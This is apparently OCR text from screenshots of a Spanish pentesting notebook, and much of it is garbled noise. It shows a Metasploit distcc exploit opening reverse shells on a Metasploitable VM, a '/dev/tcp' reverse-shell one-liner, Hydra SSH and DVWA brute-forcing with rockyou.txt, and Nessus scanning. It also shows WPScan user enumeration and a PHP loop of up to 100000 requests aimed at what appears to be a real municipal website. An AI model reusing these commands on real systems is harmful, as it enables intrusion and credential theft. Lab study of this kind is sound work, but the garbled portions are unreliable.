0 exploit/unix/misc/distcc_exec 2002-02-01

Interact with a module by name or index. For example info 0

6100 Yt Wha 1JW6 ¢ Wddisid Wiqbd 1 Wic @ dpyud 19 W= MM= 8 WE+ We UWHY @
wFADGGIUUQqw.



msf > search distccd

Matching Modules

Disclosure Date Rank Check Description

0 exploit/unix/misc/distcc_exec 2002-02-01

Interact with a module by name or index. For example info 0, us

> use 0
No payload configured, defaulting to cmd/unix/reverse_bash
exploit( ) > l

x JWaqRI ¢ GVt a
MW 6 Ys WYGqRY U

msf exploit( ) > show options
Module options (exploit/unix/misc/distcc_exec):

Name Current Setting Required Description

CHOST The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supp
es: socks4, socks5, socks5h, http, sa

RHOSTS yes The target host(s), see https://docs.
ics/using-metasploit.html

RPORT 3632 yes The target port (TCP)

Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description

LHOST 192.168.1.75 The listen address (an interface may be specified)
LPORT 4444 yes The listen port

\ Exploit target:
Id Name

© Automatic Target

View the full module info with the info, or info -d command.

msf exploit( ) > set |

MUWE Dqlll 6 Yt aqt WND=ZB

Mt 6 Ys WYGqRY Ut

OWGe ! WARUWe JWUt gq¢l ReWwWRrYU3INal ¢T Y
oW ¢wacUAcGYt WG WI+GaYqa
MWD+ GO Yq



sf exploit( ) > exploit
Started reverse TCP handler on 192.168.1.75:4444
192.168.1.72:3632 - stderr: bash: 99: Bad file descriptor
192.168.1.72:3632 - stderr: bash: /dev/tcp/192.168.1.75/4444: No such file or directory
192.168.1.72:3632 - stderr: bash: 99: Bad file descriptor

Exploit completed, but no session was created.
imsf exploit( ) > l
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msf exploit( ) > show payloads

Compatible Payloads

Name Disclosure Date Rank Check Description

payload/cmd/unix/adduser 5 normal Add user with useradd

payload/cmd/unix/bind_perl 5 normal Unix Command Shell, Bind TCP (via Perl)
payload/cmd/unix/bind_perl_ipvé 5 normal Unix Command Shell, Bind TCP (via perl) IPv6
payload/cmd/unix/bind_ruby . normal Unix Command Shell, Bind TCP (via Ruby)
payload/cmd/unix/bind_ruby_ipvé . normal Unix Command Shell, Bind TCP (via Ruby) IPv6
payload/cmd/unix/generic . normal Unix Command, Generic Command Execution
payload/cmd/unix/reverse 3 normal Unix Command Shell, Double Reverse TCP (telnet)
payload/cmd/unix/reverse_bash 5 normal Unix Command Shell, Reverse TCP (/dev/tcp)
payload/cmd/unix/reverse_bash_telnet_ssl . normal Unix Command Shell, Reverse TCP SSL (telnet)
payload/cmd/unix/reverse_openssl . normal Unix Command Shell, Double Reverse TCP SSL (openssl)
payload/cmd/unix/reverse_perl 2 normal Unix Command Shell, Reverse TCP (via Perl)
payload/cmd/unix/reverse_perl_ssl . normal Unix Command Shell, Reverse TCP SSL (via perl)
payload/cmd/unix/reverse_ruby . normal Unix Command Shell, Reverse TCP (via Ruby)
payload/cmd/unix/reverse_ruby_ssl . normal Unix Command Shell, Reverse TCP SSL (via Ruby)
payload/cmd/unix/reverse_ssl_double_telnet . normal Unix Command Shell, Double Reverse TCP SSL (telnet)

sf exploit(

owée! W2¢l RYY WGe! GYET + IOWAI YHCGY WIJG Wb wa
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msf exploit( ) > set payload 6
payload => cmd/unix/reverse
msf exploit( ) > show options

Module options (exploit/unix/misc/distcc_exec):

Name Current Setting Required Description

CHOST The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks4, socks5, socks5h, http, sapni
RHOSTS  192.168.1.72 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 3632 yes The target port (TCP)

Payload options (cmd/unix/reverse)

Current Setting Required Description

192.168.1. The listen address (an interface may be specified)
(AN~ The listen port

Exploit target:
Id Name

0 Automatic Target

OWaRI ¢aVYt WG
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exploit( ) > exploit

Started reverse TCP double handler on 192.168.1.75:4444
Accepted the first client connection...

Accepted the second client connection...

Command: echo wtTHctevvKuaF7tB;

Writing to socket A

Writing to socket B

MmsS

Reading from sockets...
from socket B
HctevvKuaF7tB\r\n"
€
put...
shell session 1 opened (192.168.1.75:4444 -> 192.168.1.72:34107) at 2026-03-12 19:56:40 +0100
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Name

payload/cmd/unix/adduser
payload/cmd/unix/bind_perl
payload/cmd/unix/bind_perl_ipvé
payload/cmd/unix/bind_ruby
payload/cmd/unix/bind_ruby_ipvé
payload/cmd/unix/EIl3ets
payload/cmd/unix/reverse
payload/cmd/unix/reverse_bash
payload/cmd/unix/reverse_bash_telnet_ssl
payload/cmd/unix/reverse_openssl
payload/cmd/unix/reverse_perl
payload/cmd/unix/reverse_perl_ssl
payload/cmd/unix/reverse_ruby
payload/cmd/unix/reverse_ruby_ssl
payload/cmd/unix/reverse_ssl_double_telnet
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GOOgle escalar privilegios median user daemonendi X

1. Ejecucion con privilegios de Root: Si distccd se ejecuta como
root (enlugar de un usuario dedicado como distcc o nobody ),
cualquier comando ejecutado a través de el puede heredarse con
privilegios maximos.

2. Falta de Restriccion de IPs ( --allow ): Si el demonio no limita qué
direcciones IP pueden conectarse, un atacante puede enviar
comandos arbitrarios al servidor de compilacion [1.1].

3. Ejecucion de Comandos Arbitrarios: Un atacante puede usar
distcc para compilar gédigo maliciose o, mas directamente, forzar
al demonio a ejecutar comandos del sistema disfrazados de tareas
de compilacion.

GYWIaW Rt qWIt qUWWHYGGROEWHYT RNYWIU W9 WGe I3t Wj RG¢
S0 RHRY!t YO

Co ©

distcc -c /bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>81

Coémo mitigar esta vulnerabilidad (Proteccién)

Para evitar la escalada de privilegios, se deben seguir las practicas
recomendadas de seguridad en la configuracion de distec :

» Ejecutar como usuario sin privilegios: Asegurate de que distccd
se ejecute bajo un usuario con privilegios limitados, como distcc o
nobody . Nunca lo ejecutes como root .

Restringir el acceso con --allow : Utiliza la opcion --allow para
especificar exactamente qué direcciones IP o subredes pueden
conectarse al demonio [1.1].

Ejemplo: distccd --daemon --allow 192.168.1.0/24

Limitar la escucha ( --listen ): Configura el demonio para
escuchar solo en la interfaz de red interna segura.

Deshabilitar funciones innecesarias: Si no es necesario, desactiva
la ejecucion de comandos arbitrarios.
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File write

This executable can write data to local files.

(a) Sudo | | SUID

This function can be performed by any unpri d user.

Privilege escalation

cutable provides a mechani
ARG ERI] ip of a

an be used to move and then read

SUID

This function is performed by the privileged user if executed via because the acquired privileges are not dropped

If there are environment variables involved, they must be pa or exported then

mv /path/to/input-file /path/to/output-file
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/home/alfonso

Metasploit tip: Use the analyze command to suggest runnable modules for
hosts

[ metasploit v6.4.99-dev
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,683 payloads
+ -- --=[ 433 post - 49 encoders - 13 nops - 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

sf > search openssh

Matching Modules

# Name Disclosure Date Rank Check Description

0 post/windows/manage/forward_pageant : normal Forward SSH Agent Request
e Pageant

1 post/windows/manage/install_ssh . normal Install OpenSSH for Window

2 post/multi/gather/ssh_creds : normal Multi Gather OpenSSH PKI (
s Collection

3 auxiliary/scanner/ssh/ssh_enumusers ' normal SSH Username Enumeration

4 \_ action: Malformed Packet 3 X 2 Use a malformed packet

5 \_ action: Timing Attack 3 3 3 Use a timing attack

(B=xploit/windows/local/unquoted_service_path 2001-§j0EPE] great Windows Unquoted Service P
lege Escalation

Interact with a module by name or index. For example info 6, use 6

msf > ||
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Welcome to the Hydra Wizard

Enter the service to attack (eg: ftp, ssh, http-post-form): ssh
Enter the target to attack (or filename with targets): 192.168.1.72

Enter a username to test or a filename: user

Enter a password to test or a filename: user

If you want to test for passwords (s)ame as login, (n)ull or (r)everse login, en
ter these letters without spaces (e.g. "sr") or leave empty otherwise: l

, . P —




he following command will be executed now:
hydra -1 user -p user -u -e s -s 22 192.168.1.72 ssh

Do you want to run the command now? [Y/n] y

ydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in mi
itary or secret service organizations, or for illegal purposes (this is non-bin
ding, these **x ignore laws and ethics anyway).

ydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-83-12 21:00:

[WARNING] Many SSH configurations limit the number of parallel tasks, it is reco
mended to reduce the tasks: use -t &

[DATA] max 2 tasks per 1 server, overall 2 tasks, 2 login tries (1:1/p:2), ~1 tr

per task

[DATA] attacking ssh://192.168.1.72:22/

[ERROR] could not connect to ssh://192.168.1.72:22 - kex error : no match for me
hod mac algo client->server: server [hmac-md5,hmac-shal,umac-64gopenssh.com,hma
-ripemd160, hmac-ripemd160gopenssh.com, hmac-sha1-96,hmac-md5-96], client [hmac-s
a2-256-etmgopenssh.com, hmac-sha2-512-etmgopenssh.com, hmac-sha2-256 ,hmac-sha2-51
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[sudo] contrasena para alfonso:
/home/alfonso
cd /usr/share/wordlists
/usr/share/wordlists
rockyou.txt

hydra.restore W

/usr/share/uwordlists

/usr/share/wordlists
rockyou. txt

/usr/share/wordlists

hydra.restore

/usr/share/wordlists
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/usr/share/wordlists
-k rockyou.txt.gz

ompleting compresses file
a a
0} 0]

o0 VU wIWIsY WT 13t #Y GG RG W WA 1 WITANIE 65 W d & LY HLE 16 HiLke RI2YY LA
root@kali: /Jusr/share/wordlists

alfonso@kali: ~ root@kali: fusr/share/wordlist]

GNU nano 8.6 rockyou. txt
brandon
666666
shadow
melissa
eminem
matthew
robert
danielle
forever
family
jonathan
987654321
computer
whatever
dragon
vanessa
cookie
naruto

ERWG VWS e¢HNDAGYY WeUWUecUYW2UGYY We UOWGRY ¢l YWI+FqUt YL
ow2ecavYt Welet ¢l WE! T ¢a

/usr/share/wordlists

yd RIS UPISTT W72 -| root -P rockyou.txt -s -

ompleting external command-
ydra hydra-wizard

cc¢! Whe JWI WHRI 0 WY GGAELTYWiYsRY G Yallt + 6 AN q Gl G q
§ql ¢cWEGIRACHRZUWRUqWI Ut ¢cUqlallAal Gt 2 Rq b WG ¢ W 13V ¢
/usr/share/wordlists

ydra ssh://192.168.1.72 -L ficherodeusuario.txt]]-P rockyou.txt -s -I
Completing external command

hydra-wizard

PAallbiGWAORUZY HelclWGe!l ¢WeUWGEt t sYI T WAYUHI DqVYeb
RWGe ! ¢ Whe JWOYWGI WNaUqéc¢s



/usr/share/wordlists 2
jdra ssh://192.168.1.72 -1 root -P rockyou.txt -s -I W
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations
, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-13 19:30:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

PORT STATE SERVICE

22/tcp open ssh

| ssh-brute:

|  Accounts:

| UE3: user - Valid credentials

|_ Statiswics: Performed 2048 guesses in 601 seconds, average tps: 3.4

MAC Address: ©8:00:27:AD:64:A3 (PCS Systemtechnik/Oracle virtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 601.16 seconds

_ % ssh userg192.168.1.72
Connection closed by 192.168.1.72 port 22

— 1 userpl192.168.1.72

The authenticity of host '192.168.1.72 (192.168.1.72)' can't be established.
RSA key fingerprint is: SHA256:BQHMSE0HX9GCiOLuVscegPXLQOsuPs+E9d/rriB8s4rk
This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.72' (RSA) to the list of known hosts.
userg192.168.1.72's password:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
usergmetasploitable:~$ |

™ n IR
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Si conoces el usuario pero desconoces la contrasena deberés iniciar la herramienta de

Kali Linux y utilizar el siguiente comando
root@Kali

http-pbst-form

ERNDa W UWLGYHY Wt q¢ WGCNRUE¢
ETUOGHOYWGE! ¢WnagGa



root@Kali

Et qUWGe!l ¢Ws YI T Gl Wttt a

root@Kali

wpscan

Irl htfpé://loechcs.es/ numerate

Scan Aborted: invalid option: -url
pid you mean? ua

)= |~

htipé://loeches.es/ enumerate

-$ wpscan -ur httbs;//loeches.es/ enumerate

Scan Aborted: invalid option: -url
Did you mean? ua

{ )= |~

in https://loeches.es/ -enumerate u
Scan Aborted: --enumerate Unknown choice: numerate
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Az DWGe !l WRP¥Wz 0W ! qYAWIUWNY G WIT YO

Wa ¢t WNda NP WG et Ut GARHRYUc I W
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No hay resultados de bisqueda

Todo

FetcXHR || Documento

Rendimiento  Memoria  Apliacén  Privacidady ses Ughthouse >
QO M ditre | O ihabiltarcocht [ Sinbenkticionss. > R

5 Fuente | Img | Multmedss || Archivo de manfissto || Socket

s otz

148 | Recu a6 m .
v ~ . , .. .
SyYulWwdcWnyYaqyYlHO
ig [0 Elementos Consola Fuentes Red Rendimiento Memoria Aplicacién  Privacidad y sequridad Lighthouse > ®:
Buscar X @ @ Y. Q [ Montenerreg ) Inhabilitar caché ~ Sinflimitaciones ~ | L &
Q Buscar ma C Q@ Yies e 0O ™
Todo  Fetch/XHR || Documento €SS | JS Fuente | Img || Multimedia | Archivo de manifiesto || Socket || Wasm | Otros
) ms )00 m 1500 ms 2000 ms 2 ms 3000
Nombre Estado Tipo Inicador Tamano Tiempo
& EF23-1024x jocg cauipo-de-gobicrno/418
@ EF8-1024x683 jpy jpeg equipo-de-gobierno/ 446
ace ) 3 jpeg Q
o EF1-300x200)p0 jocg
o EF-300x243 ioeg
1 EF17-300x20¢ joeg
4 EF5-300x200.4pg d joeg
W EF14-300x200jpg jpeg

[ RiGql ¢ WUGY! WHTGNw

®s

Oms
0 ms
oms
Oms
oms
0ms
Oms

Oms




@ @ Y & ] Mantener registro
Y

] Inhabditar caché  Sin limitaciones

-® 2 s 8

(] invertir Mas filtros v

Todo  Fetch/XHR || Documento (€SS || JS Fuente || Img || Multimedia | Archivo de manifiesto || Socket | Wasm || Otros

500ms 1000 ms

Nombre Estado

B equipo-de-gobierno/ 200
select2.min cssver=5,20.5 200
[?) iconfonts.cssver=6.8.5 200
[7] frontend.min.css2ver=5.20.5 200
[2 tooltip.css?ver=6.8.5 200
[7) tocltipster-sideTip-shadow.min.css?ver=6.8.5 200
[ featherlight.css?ver=6.8.5 200
[ lity min.css?ver=68.5 200
[Z) prettyPhoto.css?ver=6.8.5 200
[2 wp-video-lightbox.cssiver-6.8.5 200
[2) style min.css?ver=6.8.5 200
[Z) styles.cssver=6.0.6 200
[@ front.min.cssiver-2.5.6 200
[ sfsi-style.cssver=2.9.5 200
wp-accessibility-helper.min.css?ver=0.5.9.4 200

[@ styte.cssiver=1 -
[4) style.cssiver=6.8.5 200

[2) style css?ver=6.85
[ alLessver-6.8.5 200

[A style.min.css?ver=1.3.12 200
[2) polestar-icons min csstver=1.3.12 200
[Z) css?Family-Montserrat%3Aregular¥2Citali... 200
[ )5_composer.min.cssiver=6.1 200

[ jquery.minsiver=3.7.1 200

ouwt ROUWZ Gql ¢! WGe
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GWHEHG G WYt W3HGWII! Y W6 e HIIG YV Whe 13 W

HCHGIWCT Yt HOLW

1500 ms. 2000 ms 2500 ms 000 ms

Tipo Iniciador

document Otros 670 ms
stylesheet 0Oms
stylesheet oms
stylesheet cguipa-de-gabierna/47. | Oms
stylesheet eguipo-de-gobierno/.48  ( 0ms
stylesheet eguipo-de-gobierno/:49. ( Oms
stylesheet | gouino-de-gobierno/iS0. ( Oms
stylesheet eguipo-de-gobierna/:51 oms
stylesheet eguipo-de-gobierno/:52 oms
styleshect  eguipo-de.gobierng/iS3 Oms
stylesheet  couipo-de-gobierno/i68 (cachs 0ms
stylesheet equipo-de-gobierno/:79. (cache de 0ms
stylesheet eguipo-de-gobierno/:80. Oms
stylesheet cguino-de-gobierno/i81 Oms
stylesheet eguipo-de-gobierno/:82. (¢ oms
stylesheet eaguipo-de-gobierno/:83. (cache Oms
styleshect  coupo-de-gobierno/i84 (cac Oms
stylesheet 2guipo-de-gobierno/:85 (caché de oms
stylesheet equipo-de-gobiernc/:86. (ca Oms
stylesheet couno-de-gobierno/iB7. (cas Oms
stylesheet £guipo-de-gobiernc/:88 (cach 0ms
stylesheet egquipo-de-gobierno/:89. (cac oms
styleshect cgupe-de-gobierno/;90. (cac o Oms
senpt eguipo-de-gobierna/.81. (caché de 0Oms
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Nombre

[ js_composer_front.minjsiver-6.1
@ PP-NUEVO-120x120.4pg

O vox-150x142-1-120x120.jpg

[@ local-storage.js

[ utilys

[ fre-utils.js

[%] express-ftejs

[7) css?Family=Montserrat: 100,1001,200,2001,3...
[Z) css?Family=Montserrat-Alternates&display

M JTUSjig1_istBkCHKmMAS9Wihyw.woff2
fa-brands-400.woff2
fa-solid-900.woff2

M polestar-icons.ttF21ixikj

bisqueda [ sdks

ra buscar - (abercm-(orpmucwun—mu;:upal png

Estado Tipo Iniciador Tamano

200 schipt corporacion-munidpalf’ (cache de ..

200 peg comonaon-municipal/ 4.0kB

200 ipeg corporacion-municipal/:t 29kB

200 script content-script-utils.is:18 40kB

200 script ggogledocs-feis18 49kB

200 script EmbeddedPDFTouchPoi a8kB

200 script ShowOnecChild.js: 18 7,6kB

200 styleshect sbvie.css9 (

200 stylesheet style cec:10 (ce

20 font css?family-Montserrat% (ca

200 font | =685 (cache de

0 font allcesdver=685 (caché

20 font polestar-icons min.cssvi (cac

200 scrpt comoracion-municall ( e..
';7 200 png comoracion-municipal/f 3383 kB
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Todo  Fetchy/XHR || Documento €SS | JS  Fuente ' Img || Multimedia | Archivo de manifiesto || Socket || Wasm | Otros

500 ms 100 ms 1500 ms 2000 ms 2500 ms 1000 s |
B 5 ‘ | I
Nombre Estado Tipo Im o! Tamano Tiempo
= cabecera-corporacon-mumnicpal.png 200 png corporagon-muniapallg 3383 kB 158 ms
x YW3dql ¢e eyl weon
aw el BHCI W
Y cabe © ([ invertir Mas F

Todo  Fetch/XHR || Documento (€SS | JS | Fuente | Img || Multimedia | Archivo de manifiesto || Socket || Wasm | Otros

0 ms 1 ms 2000 ms

- - * ||
|

Nombre Estado Tipo Inicador Tamano Tiemg

1]

= cabecora-corporacionr-mumnicpal.png B png

Servido desde la memoria caché. Tamano del recurso: 3:
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Convert curl commands to Python, JavaScript and more

Examples: GET - POST -

curl command
SHSEC-CH-UA-PLALIUTEG  LLIUK A

‘sec-fetch-dest: document’ \

'sec-fetch-mode: navigate' \

'sec-fetch-site: none' \

‘sec-fetch-user: ?1' \

‘upgrade-insecure-requests: 1' \

‘user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36'

n
-H

H
-H
-H
-H
-H

C# ColdFusion Clojure Dart Elixir Go HAR HTTP HTTPie Java~ JavaScriptv Julia JSON Kotlin Lus MATLAB

Objective-C  OCaml PHP~ Powershell» Python~ R~ Ruby~ Rust Swift Wget
fetch('https://loeches.es/wp-content/uploads/2020/06/cabecera-corporacion-municipal.png?key=69", {
headers: {
'accept':
'accept-language': 'es-ES,es;q=0.9,en;q=0.8,1a;9=0.7,01;0=0.6,de;g=0.5",
‘priority': 'u=e, i',
'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"",
'sec-ch-ua-mobile':
'sec-ch-ua-platform
'sec-fetch-dest': '
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'none’',
'sec- 2,
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/145.6.0.@ Safari/537.36',

'cookie': 'cookie_notice_accepted=true

fetch-user':

"cookie" header is forbidden in fetch()

We WW6cHNDWe UWIGE GUHY U2 1J1 qlle WHe |l GO

Node.js *

"text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exc
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curl_setopt($ch, CURLOPT URL, 'https://loeches.es/wp-content/uploads/20208/06/cabecera-corporacion-municipal.png?key="

GRqRHEGC W WWAG Y e I3YIOWEd WGI Yhnl
Y1 to

2RI

XXXrrrr

‘user-agent: Mozilla/5.8 (X11; Linux xB6 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36°,

. $i);

17 'upgrade-insecure-requests: 1°,

18

13 1);

20 curl setopt($ch, CURLOPT COOKIE, 'cookie notice accepted=true');
21

22 for ($i = 0;]51 < 10; $i++) {

23

24 $response = curl_exec($ch);

25 echo "Response for key=$i: " . strlen($response) . " bytes\n";
26}

27 eurelosel(sch);
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17 'upgrade-insecure-requests: 1°',

18 ‘user-agent: Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36°,

19 39 7

26 curl setopt($ch, CURLOPT COOKIE, 'cookie notice accepted=true');

21

22 for ($1 = 0; $1 < 100000; $i++) {

23 curl_setopt($ch, CURLOPT URL, 'https://loeches.es/wp-content/uploads/2020/06/cabecera-corporacion-municipal.png?key="' . $i);
24 $response = curl_exec(s$ch);

25 echo "Response for key=$i: " . $response . * bytes\n"

26 )

27  eurt—etose(sch);
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iX [0 Elementos Consola Fuentes Red Rendimiento Memoria  Aplicacién  Privacid:

ml PUSLIC W3C//DTD XHTML 1.0 Strict//E NLLp://www. w3 .Org/TR/XNtE11/DTD

/ \ <htal xnlns="http:/ /www.w3.0rg/1999/xhts1"> \iew-sourcs
» <head> = </head>

v <body>

v<div align="center">

~<form action="login.php” method="post">
b <fieldsets = </fieldsets == 50
Username </forn>
<br>
<br>
<br>
<brs
<br>
<br>

[Login] i
<br>

Password *

- <img src="dvwa/images/RendonStore.png” /> -->
<p>Daan Vulnerable Web Application (DVWA) 1s a RandomStorm OpenSource project</p>
<p>Hint: default username is 'admin' with password ‘password' </p>
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)
D\(WA

Username

‘admin

Password

Login

Damn Vulnesable Web Applcation [DAVWE) £ a Rancom3Siom OpenSource project

Hint: detaut ussmame IS 'atmin’ with password password
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https://www.youtube.com/watch?v=rvme2kE8-jY
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kali@kali: jusr/share/wordlists

File Actions Edit View Help

kali@kali: ~/Downloads X kali@kali: Jusr/share/wordlists x kali@kall: fusr/share/wordlists X

/usr/share/wordlists
admin -P rockyou.txt 192.168.136.130 http-post-form I



https://www.youtube.com/watch?v=X__2y5seF6A

Burp Project Intruder Repeater Window Help
Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options User options
TPt WebSockets hustory Dptions
77’ Request to http//192.168.136130:8
Forward Drog Intercept is on Acti pen Browser

8w = Inspector

kali@kali: usr/share/wordlists

File Actions Edit View Help
kali@kali: ~/Downloads kali@kali: Jusr/share/wordlists x kali@kall: Jusr/share/wordlists X

/usr/share/wordlists
admin rockyou.txt 192.168.136.130 http-post-form

e="1

lali@kalk fusr/shareiwordlists
File Actions Edit View Help
kali@kali: ~/Downloads x kali@kalk: fusr/share/wordlists x kali@kali: Jusr/share/wordlists X
/usr/share/wordlists
admin rockyou.txt 192.168.136.130 http-post-form 'dvwa

php:user
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Nessus Professional:
disenado para
profesionales de

seguridad como usted

Obtenga la solucién de evaluacién de vulnerabilidades mas

implementada a nivel mundial.

Probar gratis

Productos Soluciones Por qué Tenable Recursos Socios Soporte Empresa

oa

@tenab'e Plataforma Productos Soluciones Por qué Tenable Recursos Socios Soporte Empresa @ @ -:E] ‘

Compre Nessus Pro

Compre una licencia multianual y ahorre. Agregue Soporte
Avanzado para acceder a soporte por teléfono, chat y a través de la
Comunidad las 24 horas del dia, los 365 dias del ario.

Seleccione su licencia
Compre una licencia multianual y ahorre.
® 1afio - 567369 €*
2 afos - 11.033,23 € * (ahorre 294,43 €)
3 anos - 16.125,95 € * (ahorre 86555 €)

Anada soporte y capacitacion

Soporte avanzado - 477,83 €

Acceso las 24 hrs. los 365 dias del afio a soporte telefénico y
correo electronico, a la comunidad y a soporte por chat. Mas
informacién

[} capacitacién baj® demanda - 326,58 €

1afio de acceso al curso en video bajo demanda de Nessus
Fundamentals para una persona. Mas informacion

Comprar ahora

Renovar una licencia

@® 3

Exposicion en la nube Exposicion de vulnerabilidades Al Exposure
Tenable Cloud Security (CNAPP) Tenable Vulnerability Management Tenable Al Exposure
Solicitar demostracion > Probar gratis > Solicitar demostracion >
Tenable Cloud Vulnerability Tenable Security Center Exposicion de OT/loT
Management Solicitar demostracion >
Solicitar demostracion > .
Tenable OT Security
Tenable Web App Scanning - 5
M Solicitar demostracion >
Tenable CIE Probar gratis >

Solicitar demostracion >

Tenable Patch Management

Proteja su nube > Solicitar demostracién >

Tenable Enclave Security

Solicitar demostracion >

Exposicion de identidades

Tenable Identity Exposure

Solicitar demostracion >

Tenable Attack Surface Management

Solicitar demostracion >

Tenable Nessus
Probar gratis >

O WG YW Wt #El NEWGE! ¢WGI YAC!I ayYWwWnl ¢ qRt 1O



Archivos : f Carpetapersonal /| Descargas

Carpeta personal

A I I I

Destacados %

Red Nessus-10.11.3-
debian10_amd64.d

@ Papelera eb

Documentos
Musica
Imagenes

B Videos

¥ Descargas

Az 1Jt WRNeac¢OWhe W96 YGUOWe ¢ HIJG Y WHRIRHL W 131 W3HE Y WIIC
)-[~/Descargas]
home/alfonso/Descargas

)-[~/Descargas |

i )-[~/Descargas |
— -1 Nessus-10.11.3-debian10_amd64.deb
ompleting "action', “package', or "Debian package'’

NIJUIWG Yt Wheallvut 131 LW

= )-[~/Descargas ]

% sudo dpkg -1 Nessus-10.11.3-debian10_amd64.deb

[sudo] contrasena para alfonso:

Seleccionando el paquete nessus previamente no seleccionado.

(Leyendo la base de datos ... 420194 ficheros o directorios instalados actualmen
te.)

Preparando para desempaquetar Nessus-10.11.3-debian10_amd64.deb ...
Desempaquetando nessus (10.11.3) ...

= VD

INSTALL PASSED
Unpacking Nessus Scanner Core Components...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service

- Then go to https://NESSUS_HOSTNAME_OR_IP:8834/ t® configure your scanner

)-|~/Descargas |

E!t qUiGHqGalWf ORARECUGRAC AW WRURHRE Allnea 131 Ac¢ WG ¢ WI 1JHC
RUt qcaceT YraWwWaYGYWIGUW I 2RT YI W YJWHEY!I I JYALWnqGs



INSTALL PASSED
Unpacking Nessus Scanner Core Components...

- You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
- Then go to https://NESSUS_HOSTNAME_OR_IP:8834/ to configure your scanner

)- | ~/Descargas
start nessusd.service
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o~
Otenable Nessus Essentials

Scans

New Scan / Advanced Scan

Settings

BASIC

.

DISCOVERY
ASSESSMENT
REPORT

ADVANCED

Credentials Plugins

Name metaexplotable 2

Description

Folder

Targets

Upload Targets

x YWhe DWW RWIJH W 2 GUI WHYU3 Ne ik Gld BFIIG W #e Us Weé I Wa R U

Ae 37T YWRUT Recl oWl Rnl WOqUt Wet GUHRqY aWWERWIIL Wi ROT

Settings Credentials

SNMPv3

ssH ©

Wmdow‘L: e

mh
® o
G E

New Scan / Advanced Scan

Plugins

Authentication method password

Username msfadmin

Password (unsafel)

Elevate privileges with Nothing

Custom password prompt

Targets to prioritize credentials

GUW ijWwddWet e¢cl RYW! WiceWGet + 5YI T WGe It W WG Y WR
| ¢Wt RUYW@e GHRGOWT 13+ T 3wl 3Uql YB
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PLUGIN FAMILY & LOCKED TOTAL
AlIX Local Security Checks 11595

Alibaba Cloud Linux Local Security Checks 946

Alma Linux Local Security Checks 2619

Amazon Linux Local Security Checks 6590
Artificial Intelligence (7=
Azure Linux Local Security Checks

Backdoors

Brute force attacks
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metaexplotable 2 / Plugin #90509

Vulnerabilities 14 History 1

Samba Badlock Vulnerability

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the
Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over
Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to able to intercept the traffic between a client and a server hosting
a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in
the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical
services.

Solution
Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.
S

See Also

Output

Nessus detected that the Samba Badlock patch has not been applied.

To see debug logs, please visit individual host

Port a Hosts

445 / tep / cifs

O WqWWl RANWGC Wt YieHRZUB

P RWhie WYt WAcY q¢c¢ UqUWAI 2 q¢ 0 WGY ! ue JWOY W YO VYW 3qldt
b YiGe®#RYUIIt 1O

ERNaWWIUHYUq! ¢ UT YWHYt ¢t sW ZOWOYWEE Wl aRUET Y WIIC
¢cGel WHRPVUT YwWaCt w! wacCt WHYt RGGCEt B

Hosts 1 Vulnerabilities 21 History 1
Filter =

m Sevw Vssv VPR v EPSS v Name a Plug! 51988 Family & Count v

9.8

75

General

RPC

Port scanners




metaexplotable 2 / Plugin #51988

Vulnerabilities 26 History

1

cemcat  Bind Shell Backdoor Detection

Description

Ashell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and

sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Output

Nessus was able to execute the command "id" using the
following request :

This produced the following truncated output (limited to 10 lines) :

root@metasploitable:
root@metasploitable:/#

- snip
# uid=0(root) gid

To see debug logs, please visit individual host

Port a

1524 / tcp / wild_shell

Hosts

Et qYWwerYTVYUCa

Settings

Host

SNMPv3

SSH o

Windows o

Authentication method

Username

Password (unsafel) REQUIRED

Elevate privileges with Nothing

Custom password prompt

Targets to prioritize credentials
